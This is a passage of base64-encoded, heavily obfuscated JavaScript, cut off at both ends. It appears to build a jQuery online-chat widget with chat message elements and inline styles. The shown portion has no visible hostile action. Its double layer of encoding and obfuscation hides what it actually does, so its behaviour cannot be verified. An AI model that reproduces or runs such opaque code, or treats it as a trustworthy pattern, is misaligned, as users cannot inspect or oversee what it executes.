zaScsJ3l4cjBDRycsJ0VMRFByZnknLCd6d1dUek05VkRndlknLCd6MnYwcmdmMHlxJywnd0sxT3J2bScsJ3p3VDN6aGknLCdCMnJJRExpJywnQ3hmNHF1aScsJ0NNcnFCZ2ZKJywnQzNtOWlOZll4Mm5WemEnLCdsTWpZRDNuWXgzdllCYScsJ0Jobk1CTU8nLCd5MkxYcU5HJywnQzN2cndOcScsJ3JOdlNCZm5KQ012TEJHJywnQmdQb0J1VycsJ0VMRGJBdVcnLCdDMnZKQjI1S3FNWFZ5VycsJ3ZLem1CS0snLCdES3ozQnVLJywnQ2dYQXpNOCcsJ3l4ckgnLCdBd3ZIcXhDJywndmh2U3Z4eScsJ3R2anVEdUcnLCdCMlROQTBlJywnQzN2SnkydlpDMTlPQXEnLCdFS3Z5cU5DJywnQmZMT3Z4SycsJ3kwUHp0eGEnLCdxTkQxRHV5JywnRDB2UnIzTycsJ0R4Zmx5MjgnLCdDMjVKQ2dTJywnd2ZQMnYzRycsJ0RndlpEYScsJ0RNZlN4Mm5GQk52MXhXJywnbTNXWEZkcjhtTldXJywnejByQXp1aScsJ3pndkZ6eGpZQjNqRkJxJywneTNqRnpmOWZ4M0hXeFcnLCdxeHo0Q0s0JywnQ3hIUndNMCcsJ0J3OTZyTnZTQmZuSkNHJywnd2UxYkJlcScsJ0RnOU56MlhMcTJYSENXJywnQU5uVkJHJywnbXRiTkN1UE9EdTAnLCd1dnIwRGhlJywncU5MdkR3ZScsJ3dLVGxBM08nLCd6MnYwdHc5VURnRycsJ3VlcjJEeGUnLCdydmJ4QTJPJywneUtIdHpoQycsJ3l3WDRydTgnLCdyd3ZNd2V1Jywnc016bEJlNCcsJ0JNelV1S20nLCd5TnY2RUswJywneTJmU0JhJywnQU5iTHpaVEpBZ2ZZQ1cnLCdzTUhJQnU0Jywnck0xbnZoRycsJ3gyMUxDM25IejJ1SXBHJywnQTJMcHZOeScsJ3Noclp6ZWUnLCdCMjVNeXZxJywneTJYUHkyU0dCdzkxQ1cnLCd6dzUxJywnQk12M3gybk95eHJGQnEnLCdyeG4wRGZpJywnenhIUERlejFCZ1haeVcnLCd1eEhJcktlJywneTJISERmOVZDZ3ZVJywneXhySG9NTFR5d0RMbFcnLCdzTGo1dTNtJywndXdua0JLSycsJ210aTFtdGFabWZIWXNNdmlDRycsJ0FLTFd5TnUnLCdzZTVZdGVLJywnd05MQUN4QycsJ3NlOWxCMjgnLCd1S1hrRDJHJywnd2VYaXl3dScsJ0J2Zld6TG0nLCd2Z0xrd3d5Jywndk1mUycsJ3JnOXRzdk8nLCdyS0h3Q2dLJywnRE1MWkF3alBCZ0wwRXEnLCdxdWZ3cXVxJywnc01EbENnOCcsJ2kybkgnLCd5TTFBcXdXJywncndYTEJ3dlVEYScsJ3V3amhDdVMnLCd1eERQRGZhJywnQWVIVnF1VycsJ0VnOXV2MWEnLCd2MHY0REtXJywncmVqZ3dLVycsJ0J4RFJ3dmknLCdsTVhWeXEnLCd6TTFWd2hlJywnQmd2aHN4dScsJ0RLclRDTWknLCd0d3JUc0t5JywnQXc1S3p4SHB6RycsJ3kyTGJydWUnLCd1S3J1cnVpJywnc0xQTXUwaScsJ0V2UHJyeGEnLCdDaExOd015JywncUxmbnZ3OCcsJ0RnOVknLCdETnlTaWNuSnlxJywnRXVuVicsJ3VnNXpBM0MnLCdCZ3pTc2UwJywnRGdMVHp4aScsJ3oydjBzZzkxQ05tJywneTJYUHkyUycsJ3pndkt2TVMnLCdpY2FHaWNhR2ljYTh6YScsJ3R1ak50MWEnLCdwc2pUeXhHVEFndlB6VycsJ0MzTGl2aEsnLCdEeHJCRGhMV3p0MTB6cScsJ0V3MXB3TGUnLCdtWnVZQXZIZkJoTGQnLCd4MXpGeDBtJywnckxuanVoSycsJ3kzYm93dzAnLCd1M3pWQzNtJywnck1YbXZ3TycsJ2kyOVVCZ0xVenY5SkFhJywnQ0tMeXkwdScsJ3NLUHNBTHknLCdEMjlSQWZpJywnc2VMVHMwNCcsJ3IxREh0aEcnLCdEaEhadXZLJywneDJqU0IyblJpZ0xVQ2EnLCd2MjFBRGhHJywnczNyVkVNbScsJ0MwUHhyZ0snLCdCM0QzQnd1JywndTBManZobScsJ3d3VGJ2MFcnLCdzMHpucTJpJywnRE1MWkF3alN6cScsJ3d4REF2dUMnLCd5M2pLQ1cnLCd5eGpLQWc5U3pndlknLCdEaGZmejB1JywncktqUEV2YScsJ0R3WFN1Mm5Zend2VScsJ3pmalZEWVdHbE1uVkJHJywnQzN2SnkydlpDMTlaQWEnLCdxeHJTc0xlJywnekxQNndMSycsJ0MzbTlpTW5PeXhyRkJxJywnemZ6aXIzeScsJ0J3MFVDZ0hXJywnejJ2MHJOdlNCZkxMeXEnLCdFZTVmRHUwJywneTI5VUMyOVN6cScsJ3NOSFBzdm0nLCdETWZTQXdyRnl3bjBBcScsJ3Qwbmx3ZkcnLCd6ZmpWRFcnLCdyZm52c3ZxJywneXdyS3EyWEhDM20nLCdFZnZZRHdPJywnc3cxd3VOTycsJ3VoRGZ1dUsnLCd0MnpkQnc4Jywnd3cxQUV4ZScsJ0FLblREZUcnLCd5TFB5cmdlJywnbE5yT0F4aktxTVhWeVcnLCdCS2ozdDBLJywncXdqU0IyUycsJ0N4UGxCd3EnLCdtY3FYJywneTJqc3p4eScsJ0NNcVRFd3UnLCd5eHYwQWEnLCdBZUw1Q05lJywndDFiTnVncScsJ0FnMTZxdzgnLCdDaHZaQWEnLCd1MHozQ011JywnenduSnd2SycsJ3l2ekFyS08nLCdDaGZPRWhHJywnc2VEdUR4RycsJ3kxcnRBdzQnLCd5MEhwdE1HJywnQjJqUXp3bjAnLCdBMW5vQWVLJywnenVITEN1cScsJ3Iwdk52dVMnLCdCTW5IQkx1JywndWd2c3JlMCcsJ3oyRHZFZ0snLCdtdHkzbkpDWHRnTGh6ZVBrJywnRWhEeHkyeScsJ0JNemVCTEsnLCdsS1RpdE1QU0MyektCRycsJ0NnZllDMnUnLCdEd1BkQnVXJywnc3dYWXZlcScsJ0R3NUt6d3pQQk12SycsJ25OV1dGZHUnLCdzdTl1cjFLJywndnc1cHNMaScsJ3Yxdmh0dUMnLCdCZTVlcXU4JywndUxma0NlcScsJ3JOUElCdnEnLCdxeGpZJywnQ01xVHkyOVV6TUsnLCdzMHpZdUs4JywndTByeUN4bScsJ0IwOWh3S1MnLCdxTFByQ004JywnQ2ZIcUVOYScsJ3oydjB2Z0xUenEnLCd5M2o2cU11JywnQzBMaHNLdScsJ0NLamlBaG0nLCdETnZycnZxJywneXV6bXVLRycsJ0NNdkxCRycsJ0V4YkxweHJMRWhyRCcsJ3pLbjJ5d1MnLCdDdUxndE1xJywnbE5uMXkybkxDM25zQlcnLCd6eHpVRE0wJywnRHdIb0EybScsJ2xOREhDTTVQQk1DR0NhJywnQks1U3NmcScsJ3JoSG12TVMnLCd5MjlWQTJMTCcsJ3JnMVlyMnknLCd5M3ZZQ012VURmckhDRycsJ3VNNTBCaEMnLCdDM3ZJQndMMCcsJ0VncnJES0snLCd1M0x2RWVXJywncmdYWHMyUycsJ3oySDZyTEcnLCd0Tmpsd0xlJywnc05mVXZoRycsJ3kzSGdyM20nLCdDdVBmdGV5JywnemZqVkRZV0dsTmJIQkcnLCd5MEhWcTFLJywnQmc5TicsJ3ZLalZ6aEMnLCd5eGJXenc1SycsJ3lLdmd2TEcnLCdEMkhPeTBXJywneU1QWkFlVycsJ3p1dnp2d3UnLCdyMm5pQmUwJywnRGVuTEF3eScsJ0RObklFZW0nLCdxMUhqd0ttJywneTIxMENnTycsJ3VlZmRBZ0snLCd5d1B4dWZpJywnRDNDWCcsJ0Ixdmx5TmEnLCd6TmpURGY5ZHgzaktxVycsJ0VlRDJ6MDgnLCd6ZXpuQTB1Jywnc2VMSXYzTycsJ0Nmbk1FTG0nLCd5MlhQQ2dqVnl4aktyYScsJ3l4clBCMjQnLCdyS2ZNdWUwJywnRExuc3ZMQycsJ3d3VGp3ZTAnLCd6d3ZVJywndTA5c3dNcScsJ0NndTlEZ3Y0RGYwJywndnZQbEFNUycsJ0MySFZEMTlKQlcnLCd6TG5nemdHJywnc3ZmdHJoZScsJ3Z1emx0THUnLCdFTGpWdndDJywnQTJ2NXEyOUt6cScsJ3F2SGhxMm0nLCdDM2JTQXhxJywnQXc5M3kycScsJ3ozcmx3dk8nLCdFdXI1QjBDJywnd0tmS3JnOCcsJ0JLelF6Tk8nLCd5TTlLRXEnLCdzeEh4RUxxJywnc005Y3kxSycsJ0FNMXN6MjQnLCdETXpKdmhPJywnaWRDV0NoRzdEZ3Y0RGEnLCdBZTlBdHVpJywneXZiM0JoQycsJ3J2dlpzS3knLCd1SzkyRGhlJywncXh6QXZ3aScsJ3dmYmtDS3EnLCdzTkQ1dmZxJywncXdETnpMYScsJ3kyOVVCTXZKRGdMVXpXJywndjNuTHNmRycsJ3V4cktEd20nLCdCaGJnczIwJywndGUxZER3NCcsJ3QzRHlzS0cnLCd5TmJsd3hxJywnQTJ2NXlNOUhDTXEnLCdETmJLeXZhJywndmZMcHMyaScsJ0N3dmd3SzgnLCd0SzVuc2VPJywnRDFyV0EwMCcsJ3dmTHN2MG0nLCdEMnZJQTJMMHN4bmdEcScsJ3J4THF6M3UnXTtfMHgxODRhPWZ1bmN0aW9uKCl7cmV0dXJuIF8weDJmNDRjNzt9O3JldHVybiBfMHgxODRhKCk7fV8weDE0MjI5ZigpO3ZhciBzdGFydD0hW107ZnVuY3Rpb24gXzB4NWJmNGJiKF8weGI3MGJmYSxfMHgxMzI0MDUsXzB4NTBjMTkyLF8weDQ1NDMwMyl7cmV0dXJuIF8weDRjMGYoXzB4YjcwYmZhLTB4MjBjLF8weDEzMjQwNSk7fXZhciB3aWR0aFN0YXJ0LGhlaWdodFN0YXJ0OyQoZG9jdW1lbnQpW18weDViZjRiYigweDQxYSwweDMwMiwweDZjMywweDViNyldKGZ1bmN0aW9uKCl7dmFyIF8weDJmNTM0OT17J2NtU0t4JzonNHwzfDJ8MXwwfCcrJzUnLCdJdGtNQic6ZnVuY3Rpb24oXzB4MjUyNTZhLF8weDEyYjgzYyl7cmV0dXJuIF8weDI1MjU2YSE9PV8weDEyYjgzYzt9LCdQclNyTSc6XzB4MjU5YzgzKDB4NjE2LDB4MjQ3LDB4NWUxLDB4M2RjKSwnT3dYSkgnOl8weDI1OWM4MygweDU5YiwweDUwMywweDQwOCwweDMyNyksJ0pEd0NPJzpfMHg0NGZmNDkoMHg0MjMsMHgyMjUsLTB4ZWQsMHgxOTIpLCdZbVp5cSc6XzB4NDRmZjQ5KDB4MTU4LDB4NGZjLDB4NTgsMHgyMGYpLCd0eHNRWSc6JzF8MnwwfDR8M3wnKyc1JywnYUpJSUcnOmZ1bmN0aW9uKF8weDFjYzMyOSxfMHgzYjRjMDgpe3JldHVybiBfMHgxY2MzMjkoXzB4M2I0YzA4KTt9LCdIdHNkQSc6XzB4NDRmZjQ5KDB4YTMsMHgxNDAsMHhhMCwweGIzKStfMHgyNTljODMoMHg1OWIsMHg4Y2MsMHg3YmQsMHg2NjgpK18weDQ0ZmY0OSgweDRjNCwweDE4MywweDc0ZCwweDQ3NSkrXzB4MjU5YzgzKDB4NGRmLDB4MzlmLDB4NjFjLDB4MzUwKSwnUnVyWHknOmZ1bmN0aW9uKF8weDJlNTUzYSxfMHg1MWJiZmMsXzB4MTk3NTgzKXtyZXR1cm4gXzB4MmU1NTNhKF8weDUxYmJmYyxfMHgxOTc1ODMpO30sJ0NLbndJJzonY2hhdF9tZXNzYScrJ2dlJywnTnpmY2knOmZ1bmN0aW9uKF8weDg2Yzg1YSxfMHgxNTE3ZjMpe3JldHVybiBfMHg4NmM4NWE9PV8weDE1MTdmMzt9LCdWY2lHRyc6ZnVuY3Rpb24oXzB4MzQ2MzJkKXtyZXR1cm4gXzB4MzQ2MzJkKCk7fSwnZmtZSnInOl8weDI1OWM4MygweDg0NSwweDg3YiwweDQ0ZSwweDZhYikrJ2hiZicsJ2NyekJlJzpmdW5jdGlvbihfMHgxNzdhZjgsXzB4MWYxMDVlKXtyZXR1cm4gXzB4MTc3YWY4KF8weDFmMTA1ZSk7fSwnZlNPWVonOl8weDI1OWM4MygweDUwNiwweDZiZCwweDk1NCwweDcwOCksJ2pZQkZ0JzpfMHg0NGZmNDkoMHgxZmYsMHg1MmEsMHg1YzMsMHgzZGUpKydiZicsJ0NKaEhCJzpmdW5jdGlvbihfMHgzOWE5ZmUsXzB4MTdiYTMxKXtyZXR1cm4gXzB4MzlhOWZlKF8weDE3YmEzMSk7fSwnaXp5RmMnOmZ1bmN0aW9uKF8weGI2OGFkOCxfMHhiMmRhZDYpe3JldHVybiBfMHhiNjhhZDghPT1fMHhiMmRhZDY7fSwnZWNXb1AnOidyRmxxTicsJ1VFRHltJzpmdW5jdGlvbihfMHg0ODEyNmEsXzB4MWI2NzA2KXtyZXR1cm4gXzB4NDgxMjZhKF8weDFiNjcwNik7fSwnSkZ1ZkUnOidvbmxpbmVfY2hhJytfMHgyNTljODMoMHg3NjgsMHgzZDIsMHg2MTgsMHg0ZTYpLCdRVHR0cSc6XzB4MjU5YzgzKDB4OWFkLDB4OGFkLDB4NTk1LDB4ODgzKSwneExEdVcnOic2fDV8NHwwfDd8JytfMHgyNTljODMoMHgxMGEsMHg1MzksMHgzOWEsMHgzOGEpLCdjZVZ1bCc6XzB4NDRmZjQ5KDB4OTUyLDB4ODQyLDB4M2ZkLDB4NjY5KSwnREFLd24nOl8weDQ0ZmY0OSgweDU0MiwweDZhYiwweDY4ZSwweDRlZSksJ01IelptJzpmdW5jdGlvbihfMHg5MDQxNmIsXzB4MWEyMTk0KXtyZXR1cm4gXzB4OTA0MTZiKF8weDFhMjE5NCk7fSwnbGdpSGMnOmZ1bmN0aW9uKF8weGJkYWVmMCxfMHgyNTE4NjYpe3JldHVybiBfMHhiZGFlZjArXzB4MjUxODY2O30sJ2hKU0FXJzpfMHgyNTljODMoMHhhNWUsMHg1YjgsMHg2NzksMHg3YTUpLCdrT01JeCc6XzB4NDRmZjQ5KDB4NGFjLDB4NzVhLDB4MjhhLDB4NGU0KSsndycsJ2pUanp3JzpfMHgyNTljODMoMHgyMDIsMHgzZCwweDVhMiwweDJiMCksJ2dkVmRpJzpfMHg0NGZmNDkoMHgxMmMsMHg1LDB4NDNhLDB4MWE3KStfMHg0NGZmNDkoMHgzZTYsMHg1NzAsMHg4MDUsMHg2M2QpLCdOWGlMdCc6ZnVuY3Rpb24oXzB4Mzk4OTRlLF8weDRlNmM1Mil7cmV0dXJuIF8weDM5ODk0ZSE9PV8weDRlNmM1Mjt9LCdZdG9ZSCc6XzB4MjU5YzgzKDB4M2M2LDB4NDIxLDB4M2ZjLDB4Mzc1KSwneVRFT04nOid1bmFOWScsJ2NpcUJ4JzpmdW5jdGlvbihfMHgyYWIzOTMsXzB4MzFjZTQ5KXtyZXR1cm4gXzB4MmFiMzkzKF8weDMxY2U0OSk7fSwnVFpmYXMnOicjb25saW5lX2NoJysnYXQnLCdxdVNIUic6XzB4NDRmZjQ5KDB4ODdlLDB4N2E3LDB4MmFjLDB4NTlkKSwnZVlDaXEnOmZ1bmN0aW9uKF8weDI0MzRiNCxfMHg1MzkwN2UsXzB4NGEzNTg4KXtyZXR1cm4gXzB4MjQzNGI0KF8weDUzOTA3ZSxfMHg0YTM1ODgpO30sJ3NHZXBRJzpfMHg0NGZmNDkoMHg2NDQsMHgyYzMsMHgyNmMsMHg0N2QpK18weDQ0ZmY0OSgweDc3NSwweDcxZCwweDYwNiwweDU2ZSkrJ3MnLCdnUU54ayc6ZnVuY3Rpb24oXzB4NWIyMWYxLF8weDIyOTYzMSl7cmV0dXJuIF8weDViMjFmMShfMHgyMjk2MzEpO30sJ1NnbGdoJzpmdW5jdGlvbihfMHg0NTY1YzEsXzB4MTdjNjg5KXtyZXR1cm4gXzB4NDU2NWMxIT1fMHgxN2M2ODk7fSwnQkR6UlInOl8weDQ0ZmY0OSgweDI4OCwtMHhjMCwweDJmYiwweDFhYSkrJ3RhcnQnLCdoU3laZCc6ZnVuY3Rpb24oXzB4MjBjMjJkLF8weDI4OWM5MCl7cmV0dXJuIF8weDIwYzIyZD09PV8weDI4OWM5MDt9LCduZkRuWSc6XzB4MjU5YzgzKDB4ODM4LDB4MjljLDB4NmMxLDB4NTgxKSwnQU1PbUEnOmZ1bmN0aW9uKF8weDViYzY4NSxfMHg1OTQwNzUpe3JldHVybiBfMHg1YmM2ODU9PV8weDU5NDA3NTt9LCdzSUdKRSc6ZnVuY3Rpb24oXzB4OWQyOWNjLF8weDM2MTg2OCl7cmV0dXJuIF8weDlkMjljYyhfMHgzNjE4NjgpO30sJ2tHd1pVJzpfMHg0NGZmNDkoMHg1MDQsMHgzNGIsMHgyYmEsMHg0N2QpK18weDI1OWM4MygweDFkZiwweDFkYywweDM0YywweDNjNikrXzB4NDRmZjQ5KDB4Mjg0LDB4MjQ0LDB4NTFhLDB4NGUxKSwnZGVkVmsnOl8weDQ0ZmY0OSgtMHgxMTYsLTB4YWQsMHg0ZiwweGU4KSsnPicsJ2FmeFdnJzpmdW5jdGlvbihfMHgzODk1OWUsXzB4NGY2N2Q3KXtyZXR1cm4gXzB4Mzg5NTllK18weDRmNjdkNzt9LCdIQkhacCc6ZnVuY3Rpb24oXzB4MmI5OGYyLF8weDNmYmU0YSl7cmV0dXJuIF8weDJiOThmMitfMHgzZmJlNGE7fSwnU1VLSUknOl8weDQ0ZmY0OSgweDUxMiwweDViNCwweDNkMywweDQ3MSkrXzB4MjU5YzgzKDB4NTNmLDB4NTcxLDB4NWU0LDB4NWNkKStfMHgyNTljODMoMHg5OWMsMHg0YTksMHg1MDIsMHg3OWQpK18weDI1OWM4MygweDFkMSwweDQ3NSwweDRkMywweDNmYyksJ2NKZHNNJzpfMHg0NGZmNDkoMHgxOTAsMHg0MTEsMHgzZGMsMHgzYjUpLCdhbHhFTyc6XzB4MjU5YzgzKDB4ODhjLDB4ODIyLDB4NTY4LDB4NzI2KSwnb1VRYlonOl8weDQ0ZmY0OSgweDY2NSwweDUxMywweDFhZCwweDQzNSkrJ1x4MGEnLCdTZmhIeSc6XzB4MjU5YzgzKDB4MWZjLDB4NjQ3LDB4NDgzLDB4NDg2KStfMHgyNTljODMoMHg2OGEsMHg2NDksMHg3OGQsMHg3ZmYpK18weDQ0ZmY0OSgweDcyYSwweDU1MSwweDM2ZSwweDQ5NykrXzB4NDRmZjQ5KDB4YjgsMHgzZmIsMHgzM2MsMHgzNmMpLCdGcHhlQyc6J1x4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwPC8nK18weDI1OWM4MygweDVhZCwweDZjZCwweDE2NCwweDQ0YSksJ3JxWFVGJzpmdW5jdGlvbihfMHg1MjczMWYpe3JldHVybiBfMHg1MjczMWYoKTt9LCd5Y2lzTyc6ZnVuY3Rpb24oXzB4MzU3N2MyLF8weDJmYmFlNil7cmV0dXJuIF8weDM1NzdjMj5fMHgyZmJhZTY7fSwndFR2SnEnOmZ1bmN0aW9uKF8weDU5ZjhlMyxfMHg1M2FjYmYpe3JldHVybiBfMHg1OWY4ZTMgaW4gXzB4NTNhY2JmO30sJ1BTZHp2JzpmdW5jdGlvbihfMHg1ZjIzNTksXzB4NTAzYzlhKXtyZXR1cm4gXzB4NWYyMzU5KF8weDUwM2M5YSk7fSwnSUtRY2cnOmZ1bmN0aW9uKF8weDU5YmJlOSxfMHg0Zjk2OGIpe3JldHVybiBfMHg1OWJiZTkrXzB4NGY5NjhiO30sJ3dJWGttJzpmdW5jdGlvbihfMHgxNGE3NzgsXzB4MjIyNGJhKXtyZXR1cm4gXzB4MTRhNzc4K18weDIyMjRiYTt9LCdCaEF5bSc6ZnVuY3Rpb24oXzB4NTRmZjEzLF8weDJjMzU0Myl7cmV0dXJuIF8weDU0ZmYxMytfMHgyYzM1NDM7fSwnVlJQUlonOl8weDQ0ZmY0OSgweDYyYSwweDZlNSwweDM4MCwweDQ1MiksJ3hickpaJzoncmQteWUnLCdCUHJwZCc6XzB4NDRmZjQ5KDB4MmU0LDB4MzRhLDB4NDFkLDB4MzgzKSsncycsJ1dib09KJzpmdW5jdGlvbihfMHgxYTEwNTUsXzB4NGQwYTY1KXtyZXR1cm4gXzB4MWExMDU1KF8weDRkMGE2NSk7fSwndktzVHQnOl8weDQ0ZmY0OSgweDcwNywweDY3ZCwweDI4OCwweDUxYyksJ2FGaldrJzondmFsJywncFhQenAnOl8weDI1OWM4MygweDg4ZSwweDcwYSwweGE0OSwweDdkMiksJ3RTUHhQJzpmdW5jdGlvbihfMHgyMzI5MzMsXzB4MmQ0YmY1KXtyZXR1cm4gXzB4MjMyOTMzPT1fMHgyZDRiZjU7fSwnekp6ZUcnOmZ1bmN0aW9uKF8weDMzMzg0NSxfMHg1ODUwY2Epe3JldHVybiBfMHgzMzM4NDUrXzB4NTg1MGNhO30sJ3ljQWhSJzpmdW5jdGlvbihfMHg1NGI4NDgsXzB4NGVmNjFiKXtyZXR1cm4gXzB4NTRiODQ4K18weDRlZjYxYjt9LCd2dVFFVCc6ZnVuY3Rpb24oXzB4MzlhNzc5LF8weDMwOTdiZil7cmV0dXJuIF8weDM5YTc3OStfMHgzMDk3YmY7fSwnWXRhenUnOidyZC1tbycsJ21kdG5zJzpfMHgyNTljODMoMHg4N2YsMHg3OTEsMHg4YmQsMHg4NjgpLCdkbGtjZSc6ZnVuY3Rpb24oXzB4MzQ4YTAxLF8weDEyZjJhYil7cmV0dXJuIF8weDM0OGEwMShfMHgxMmYyYWIpO30sJ2FQd2x3JzonYXR0cicsJ0dhZklNJzpfMHgyNTljODMoMHg0MDIsMHg3ZWIsMHg1ZmMsMHg2ODYpLCdwWmhZTic6XzB4MjU5YzgzKDB4NjNlLDB4NmE3LDB4NTI0LDB4NWQ4KSwnRVVzSkYnOmZ1bmN0aW9uKF8weDQzZmFmNil7cmV0dXJuIF8weDQzZmFmNigpO30sJ215ZGV2JzpmdW5jdGlvbihfMHgxMzA5N2YsXzB4NTFmOTc5KXtyZXR1cm4gXzB4MTMwOTdmPT1fMHg1MWY5Nzk7fSwnbWhsQ2YnOidwbW50Jywnb1FtZ20nOmZ1bmN0aW9uKF8weDM2ZjYyOSl7cmV0dXJuIF8weDM2ZjYyOSgpO30sJ2llYUF3JzpfMHgyNTljODMoMHgyYmQsMHg2MzQsMHg0MDIsMHg1YWYpLCd4d1djZic6ZnVuY3Rpb24oXzB4NzU3OTQwLF8weGU5M2M3Yyl7cmV0dXJuIF8weDc1Nzk0MChfMHhlOTNjN2MpO30sJ2JrUWVWJzpfMHgyNTljODMoMHg4YzYsMHg3YTIsMHhiM2MsMHg4NDkpLCdoT1pNQic6ZnVuY3Rpb24oXzB4MmQzNTZlKXtyZXR1cm4gXzB4MmQzNTZlKCk7fSwnZk1aQkonOmZ1bmN0aW9uKF8weDM4NTJhOCxfMHgyNTgwYzkpe3JldHVybiBfMHgzODUyYTg9PT1fMHgyNTgwYzk7fSwnY0hKYnknOl8weDI1OWM4MygweDQ4MSwweDc2OSwweDZhNSwweDY5YyksJ1pwZ0FzJzonZGVTdGF0dXMnLCdtR1RMdic6XzB4NDRmZjQ5KDB4MzJmLDB4NTc0LDB4NGI2LDB4NGNiKSwnWG1QUHonOmZ1bmN0aW9uKF8weDRjNWE0MixfMHgyYmVkZTMpe3JldHVybiBfMHg0YzVhNDIrXzB4MmJlZGUzO30sJ2ZMcVZ5JzpmdW5jdGlvbihfMHgyNmFlNjgsXzB4NDU0ZWNlKXtyZXR1cm4gXzB4MjZhZTY4PT1fMHg0NTRlY2U7fSwnRnpibVQnOmZ1bmN0aW9uKF8weDkyZjQ4OCxfMHgyNGQwNjgpe3JldHVybiBfMHg5MmY0ODgoXzB4MjRkMDY4KTt9LCdxZk1GUyc6ZnVuY3Rpb24oXzB4NDUxNmFkLF8weDI0ODQwZil7cmV0dXJuIF8weDQ1MTZhZD09PV8weDI0ODQwZjt9LCdiZXdTcCc6XzB4MjU5YzgzKDB4NTc1LDB4NzY2LDB4M2FjLDB4NWZlKSwnSVdUU2UnOl8weDQ0ZmY0OSgweDRiNCwweDUzNywweDYyZiwweDQzYikrJ2Vzc2FnZScsJ2l5QmhyJzpmdW5jdGlvbihfMHg0Y2I3ZWUsXzB4NTNmMGMyKXtyZXR1cm4gXzB4NGNiN2VlPT1fMHg1M2YwYzI7fSwndFRMS3EnOl8weDI1OWM4MygweDIyMSwweDMwNSwweDJiYywweDMzZiksJ2R2eElxJzpmdW5jdGlvbihfMHhjZTA5YzUsXzB4NWI5N2E1KXtyZXR1cm4gXzB4Y2UwOWM1KF8weDViOTdhNSk7fSwnZlp6WlknOl8weDI1OWM4MygweDE3NSwweDUyYiwweDVhZCwweDQwYSksJ1pYYkZuJzpfMHgyNTljODMoMHg5MmMsMHg1ZjgsMHg2YTYsMHg2MzMpLCdqbVJnbic6XzB4NDRmZjQ5KDB4MTIyLDB4MzBmLDB4NDQzLDB4MzZiKSwnT0JBSFMnOmZ1bmN0aW9uKF8weDM0NzJhZixfMHg0YjI4YWQsXzB4MWRlNjU0KXtyZXR1cm4gXzB4MzQ3MmFmKF8weDRiMjhhZCxfMHgxZGU2NTQpO30sJ1lFQk1YJzpmdW5jdGlvbihfMHg1NTZhODMsXzB4MjczZjUxKXtyZXR1cm4gXzB4NTU2YTgzIT09XzB4MjczZjUxO30sJ0xvdklKJzpfMHgyNTljODMoMHgxZWUsMHg2MjcsMHg0NjAsMHg0ZDkpLCdzRGxJSSc6XzB4NDRmZjQ5KDB4MzEzLDB4NjJkLDB4MjA3LDB4NGIxKSwnbmNhblUnOmZ1bmN0aW9uKF8weDRkODA0YyxfMHgzYmUxMDApe3JldHVybiBfMHg0ZDgwNGMrXzB4M2JlMTAwO30sJ0xUWHZHJzpmdW5jdGlvbihfMHgyYmM5MTYsXzB4NTk1YmI4KXtyZXR1cm4gXzB4MmJjOTE2K18weDU5NWJiODt9LCd5QVpqSCc6ZnVuY3Rpb24oXzB4NWQ4MWJmLF8weDQ1ODdiYil7cmV0dXJuIF8weDVkODFiZihfMHg0NTg3YmIpO30sJ0dlcVhrJzpmdW5jdGlvbihfMHgzYzI5MzgsXzB4MTBjYmFjKXtyZXR1cm4gXzB4M2MyOTM4KF8weDEwY2JhYyk7fSwnakFPblAnOl8weDQ0ZmY0OSgweDFmZSwweDU5ZSwweDRiNCwweDM4YyksJ3JydHVEJzpmdW5jdGlvbihfMHgzYTY1ZTEsXzB4MmZhNWZmKXtyZXR1cm4gXzB4M2E2NWUxPl8weDJmYTVmZjt9LCdwVml5Tic6ZnVuY3Rpb24oXzB4NDNhY2YyLF8weDMzZmEyNCxfMHgyOTJiZjkpe3JldHVybiBfMHg0M2FjZjIoXzB4MzNmYTI0LF8weDI5MmJmOSk7fSwneGNteHknOmZ1bmN0aW9uKF8weDE5MzFmZSxfMHg1MjkzYTYpe3JldHVybiBfMHgxOTMxZmU8PV8weDUyOTNhNjt9LCd3TnNTQic6ZnVuY3Rpb24oXzB4MWVlMzQ0LF8weDU1NmFjMyl7cmV0dXJuIF8weDFlZTM0NCtfMHg1NTZhYzM7fSwnTE5HZ1QnOmZ1bmN0aW9uKF8weDU0ZmY5NyxfMHgxYjk3YjApe3JldHVybiBfMHg1NGZmOTcoXzB4MWI5N2IwKTt9LCdrdUVyQyc6J0hWdVRFJywneERiV2InOl8weDI1OWM4MygweDZiMSwweDUzYiwweDc3YywweDZkNSksJ3lEeW9HJzpmdW5jdGlvbihfMHhmMjQ1YjIsXzB4MzUyMWNjKXtyZXR1cm4gXzB4ZjI0NWIyK18weDM1MjFjYzt9LCdTdm9zcyc6ZnVuY3Rpb24oXzB4NTM0YThmLF8weDIwM2ZhMyl7cmV0dXJuIF8weDUzNGE4ZitfMHgyMDNmYTM7fSwna3RsTkInOmZ1bmN0aW9uKF8weDE1NzhhNyxfMHg0NDYzN2Upe3JldHVybiBfMHgxNTc4YTcoXzB4NDQ2MzdlKTt9LCdKcVNiSCc6XzB4MjU5YzgzKDB4NDA0LDB4NjQ5LDB4Mzk4LDB4NGM0KSwnT1lxeG8nOmZ1bmN0aW9uKF8weDRlZmIyZSxfMHg1YjU5MTIpe3JldHVybiBfMHg0ZWZiMmUhPT1fMHg1YjU5MTI7fSwnWGhTcksnOl8weDQ0ZmY0OSgweDdkYiwweDM1OSwweDMwNSwweDU4ZSksJ1JCRXJ5JzpfMHg0NGZmNDkoMHgxMTQsLTB4NWYsMHgyNGIsMHgxZTApKydsb2NrJywnTWhnckknOic8ZGl2XHgyMHN0eWxlJytfMHg0NGZmNDkoMHg0MDUsMHgzMzcsLTB4MmEsMHgxYjIpK18weDQ0ZmY0OSgweDQzMSwweDdjNiwweDdlNywweDU0ZCkrXzB4NDRmZjQ5KDB4NTVhLDB4MjNhLDB4MjE3LDB4MzdlKStfMHgyNTljODMoMHg2MDAsMHg1OWMsMHg0ZmEsMHgzNjApK18weDI1OWM4MygweDY0MiwweDNkOSwweDM4NCwweDQ4YykrXzB4MjU5YzgzKDB4YjFlLDB4OGI4LDB4OWY0LDB4ODQwKStfMHg0NGZmNDkoMHg0YjgsMHgzNmMsMHgyZGYsMHg1MjkpK18weDQ0ZmY0OSgweDcwZCwweDg3ZCwweDgxYiwweDYxMSkrJ3Rlcjt3aWR0aDonKycxMDAlO2hlaWdoJytfMHgyNTljODMoMHg5ZDAsMHg3NDQsMHg1MWIsMHg3MzQpKydrZ3JvdW5kOlx4MjB3JytfMHgyNTljODMoMHg1NGQsMHg1ZDQsMHg5YmUsMHg4MGIpK18weDQ0ZmY0OSgweDQ2NiwweDJlNywweDI5YSwweDNmZSkrXzB4NDRmZjQ5KC0